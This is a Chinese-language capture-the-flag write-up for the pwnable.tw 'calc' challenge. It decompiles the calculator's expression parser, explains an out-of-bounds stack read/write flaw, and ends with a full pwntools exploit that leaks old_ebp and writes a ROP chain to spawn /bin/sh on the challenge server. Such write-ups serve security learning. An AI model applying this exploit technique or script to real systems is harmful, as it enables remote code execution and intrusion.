• PWNABLE calc


    查看文件基本信息

     分析程序行为

     静态分析

     1 unsigned int calc()
     2 {
     3   int every_num[101]; // [esp+18h] [ebp-5A0h] BYREF
     4   char s[1024]; // [esp+1ACh] [ebp-40Ch] BYREF
     5   unsigned int v3; // [esp+5ACh] [ebp-Ch]
     6 
     7   v3 = __readgsdword(0x14u);
     8   while ( 1 )
     9   {
    10     bzero(s, 1024u);
    11     if ( !get_expr((int)s, 1024) )              // 获取输入的公式,限制长度1024,
    12       break;                                    // 所以不存在栈溢出
    13     init_pool(every_num);                       // 将数组的每一个单位初始化为0
    14     if ( parse_expr((int)s, every_num) )
    15     {
    16       printf("%d
    ", every_num[every_num[0]]);  // every_num的第一个数存放
    17                                                 // 数组的长度,计算结果放在
    18                                                 // 最后一个数中
    19       fflush(stdout);
    20     }
    21   }
    22   return __readgsdword(0x14u) ^ v3;
    23 }
     1 int __cdecl parse_expr(int expression, _DWORD *every_num)
     2 {
     3   int v3; // eax
     4   _BYTE *temp; // [esp+20h] [ebp-88h]
     5   int i; // [esp+24h] [ebp-84h]
     6   int v6; // [esp+28h] [ebp-80h]
     7   unsigned int v7; // [esp+2Ch] [ebp-7Ch]
     8   char *s1; // [esp+30h] [ebp-78h]
     9   int v9; // [esp+34h] [ebp-74h]
    10   char fuhao[100]; // [esp+38h] [ebp-70h] BYREF
    11   unsigned int v11; // [esp+9Ch] [ebp-Ch]
    12 
    13   v11 = __readgsdword(0x14u);
    14   temp = (_BYTE *)expression;
    15   v6 = 0;
    16   bzero(fuhao, 0x64u);
    17   for ( i = 0; ; ++i )
    18   {
    19     if ( (unsigned int)(*(char *)(i + expression) - 48) > 9 )
    20     {
    21       v7 = i + expression - (_DWORD)temp;
    22       s1 = (char *)malloc(v7 + 1);
    23       memcpy(s1, temp, v7);
    24       s1[v7] = 0;                               // 给字符串设置结尾
    25       if ( !strcmp(s1, "0") )                   // 只要是表达式中出现0,就报这个错误
    26       {
    27         puts("prevent division by zero");
    28         fflush(stdout);
    29         return 0;
    30       }
    31       v9 = atoi(s1);
    32       if ( v9 > 0 )
    33       {                                         // 漏洞点
    34         v3 = (*every_num)++;                    // 一直对数组中的第一个数进行加1,最后这个值即为表达式中数字的数量
    35         every_num[v3 + 1] = v9;                 // 若能控制every_num数组的第一个数,就能够实现任意读写
    36       }
    37       if ( *(_BYTE *)(i + expression) && (unsigned int)(*(char *)(i + 1 + expression) - 48) > 9 )
    38       {
    39         puts("expression error!");              // 如果出现两个符号相连,就报错
    40         fflush(stdout);
    41         return 0;
    42       }
    43       temp = (_BYTE *)(i + 1 + expression);     // 将temp指向下一个数字的头部
    44       if ( fuhao[v6] )
    45       {
    46         switch ( *(_BYTE *)(i + expression) )
    47         {
    48           case '%':
    49           case '*':
    50           case '/':
    51             if ( fuhao[v6] != '+' && fuhao[v6] != '-' )
    52               goto LABEL_14;
    53             fuhao[++v6] = *(_BYTE *)(i + expression);
    54             break;
    55           case '+':
    56           case '-':
    57 LABEL_14:
    58             eval(every_num, fuhao[v6]);
    59             fuhao[v6] = *(_BYTE *)(i + expression);
    60             break;
    61           default:
    62             eval(every_num, fuhao[v6--]);
    63             break;
    64         }
    65       }
    66       else
    67       {
    68         fuhao[v6] = *(_BYTE *)(i + expression); // 用于处理循环第一次时,给第一个符号数组进行赋值
    69       }
    70       if ( !*(_BYTE *)(i + expression) )
    71         break;                                  // 如果是空的,那就结束程序
    72     }
    73   }
    74   while ( v6 >= 0 )
    75     eval(every_num, fuhao[v6--]);
    76   return 1;
    77 }

    漏洞利用

    静态链接存在大量gadget,故考虑用ret2system,这里程序中不存在现成的“/bin/sh”,所以需要手动输入到栈中,但这样得需要知道栈的地址

    所以这里利用calc函数栈中的old_ebp来确定栈的位置

    来看一下动态调试中,刚进入calc函数时,栈的情况:

     

     这里的c8位置,即为old_ebp的位置,我们可以用every_num[360]来进行泄露

    那么同样的,cc位置为every_num[361],d0位置为every_num[362],d4位置为every_num[363]……

    需要注意的是,e8这个位置,是我们泄露出来的old_ebp,所以可以直接用这个old_ebp来相对表示栈的其他位置,比如e4位置可以表示成old_ebp-0x4,ec位置可以表示成old_ebp+0x4等等

    所以找到合适的gadget后,可以按下图来覆盖栈

    EXP

    from pwn import *
    
    # context.log_level = 'debug'
    
    '''
    0x0805c34b : pop eax ; ret
    0x080701d0 : pop edx ; pop ecx ; pop ebx ; ret
    0x08049a21 : int 0x80
    '''
    
    # io=process('./calc')
    io=remote('chall.pwnable.tw','10100')
    io.recvuntil('=== Welcome to SECPROG calculator ===')
    io.sendline('+360')
    io.recv()
    old_ebp=int(io.recv())
    
    gadget=[0x0805c34b,0xb,0x080701d0,0,0,old_ebp,0x08049a21,u32('/bin'),u32('/shx00')]
    
    for i in range(0,len(gadget)):
        io.sendline('+'+str(361+i))
        tmp=gadget[i]-int(io.recvline())
        if tmp>0:
            io.sendline('+'+str(361+i)+'+'+str(tmp))
        else:
            io.sendline('+'+str(361+i)+str(tmp))
        io.recvline()
    
    io.sendline()
    io.interactive()

     

  • 相关阅读:
    Lua/AHK socket tcp telnet
    Lua wait sleep
    Lua io.open read write seek flush setvbuf append
    stream file 文件 数据流
    AHK通讯 CMD Lua IPC
    零散 Lua/Excel/''/iup
    Windows Program File(x86) 路径 环境变量
    条件正则过滤筛选 V2
    条件正则过滤筛选 V1
    python导包出现的问题
  • 原文地址:https://www.cnblogs.com/sweetbaby/p/15458493.html
Copyright © 2020-2023  润新知